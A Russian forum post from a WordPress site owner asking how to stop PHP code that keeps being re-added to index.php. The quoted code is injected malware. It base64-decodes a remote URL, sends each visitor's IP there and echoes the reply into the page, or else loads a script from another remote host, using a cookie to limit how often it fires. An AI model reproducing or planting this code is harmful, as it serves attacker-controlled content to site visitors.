Постоянно добавляется код в index.php

В корневой директории сайта на WordPress есть файлик index.php. В него постоянно добавляется следующий код:

function sql2_safe($in) {
        $rtn = base64_decode($in);
        return $rtn;
}
function collectnewss() {

		if (!isset($_COOKIE["iJijkdaMnerys"])) {
        $value = 'yadeor';
		$ip = $_SERVER['REMOTE_ADDR'];
        $get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
		$content = @file_get_contents($get);
		@setcookie("iJijkdaMnerys", $value, time()+3600*24);
		if (!$content)
			echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
		else
			echo $content;

		}
}
collectnewss ();

Я его удаляю — он постоянно добавляется. На другом хостинге у знакомого — та же песня. Писала в техподдержку хостинга — ничего путного они не сообщили, т.к. антивирусную проверку всех файлов сайта я делала, он-лайн сервисы не видят вирусов на сайте. Кто с таким сталкивался? И как это победить? Плагин Antivirus стоит уже давно — но он ничего не сообщал о коде.